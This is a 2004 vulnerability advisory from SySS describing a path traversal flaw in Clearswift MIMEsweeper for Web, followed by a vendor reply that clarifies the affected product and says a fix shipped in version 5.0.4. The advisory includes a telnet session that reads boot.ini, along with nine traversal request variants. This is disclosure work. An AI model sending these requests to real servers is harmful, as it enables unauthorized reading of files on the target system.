Clearswift Mimesweeper Path Traversal Vulnerability

[Kroma Pierre]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- -------------------------------------------------------------------
SySS-Advisory: Clearswift Mimesweeper Path Traversal Vulnerability
- -------------------------------------------------------------------

Problem discovered: July 27th 2004
Vendor contacted: August 5th 2004
Advisory published: August 11th 2004

AUTHOR: Pierre Kroma (kroma@syss.de)
SySS GmbH
72070 Tuebingen / Germany
Tel.: +49-7071-407856-0
Key fingerprint = 927A B13E 16F5 BBAB 8F17 75EB D8E1 A9A4 F257 4EEC

APPLICATION: Clearswift Mimesweeper
AFFECTED VERSION: all < 5.0.4 (5.0.1 tested)

Remotely Exploitable: Yes
Locally Exploitable: Yes

SEVERITY: Critical

DESCRIPTION:
It is possible to read arbitrary files on
the remote server by prepending /foobar/\../\../
in front on the file name.

EXAMPLE:
telnet xx.xx.xx.xx 80
Trying xx.xx.xx.xx...
Connected to xx.xx.xx.xx.
Escape character is '^]'.
GET /foobar/..\\..\\..\\..\\..\\..\\boot.ini HTTP/1.0

HTTP/1.0 200 Ok
Date: Do, 27 Jul 2004 14:30:07 GMT
Server: Clearswift Web Server
Content-length: 186
Content-type: application/octet-stream

[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINNT
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINNT="Microsoft Windows 2000 Server"
/fastdetect
Connection closed by foreign host.

Here are some serveral examples:

GET /foobar/..\\..\\..\\..\\boot.ini HTTP/1.0
GET /foobar/..\..\..\..\..\..\\boot.ini HTTP/1.0
GET /foobar/..\..\..\..\..\..\boot.ini HTTP/1.0
GET /foobar/\..\..\..\..\..\boot.ini HTTP/1.0
GET /foobar//..\\..\\..\\..\\boot.ini HTTP/1.0
GET /foobar//..\\..//..\\..//boot.ini HTTP/1.0
GET /foobar/\../\../\../\../\boot.ini HTTP/1.0
GET /foobar/../../../../boot.ini HTTP/1.0
GET /foobar\..\..\..\..\boot.ini HTTP/1.0

IMPACT: This vulnerability can be used to retrieve any file from the partion where the clearswift webserver is installed. The number of "/","\",".." characters will depend on the ServerRoot (location of the virtual / directory) setting.

VENDOR STATUS: Clearswift has fixed the vulnerability in version >= 5.0.4.
-----BEGIN PGP SIGNATURE-----

iD8DBQFBGj/O2OGppPJXTuwRApxvAJ96xep/MUzfKKiAm9MlICe4r+Q0OgCghDOO
sLrOlvzvBPK8xDGB178xQ14=
=qP1W
-----END PGP SIGNATURE-----

[Pete Simpson]

In-Reply-To: <20040811154715.31487.qmail@mail2.securityfocus.com>

Two important points of clarification are needed.

Firstly, the vulnerability as described should refer specifically to the MIMEsweeper for Web product. It does not apply to the MAILsweeper for SMTP product.

Secondly, this vulneraility was fixed at MIMEsweeper for Web v. 5.0.4 in Feb. 2004. The current version is 5.0.5. The vulnerability reported by Pierre Kroma was found on a copy of v.5.0.1 (a year old).

Solution: Upgrade to 5.0.5 (17 June 2004)
http://www.clearswift.com/support/msw/patch_MswWeb.aspx

Pete Simpson
ThreatLab Manager
Clearswift
The MIMEsweeper Company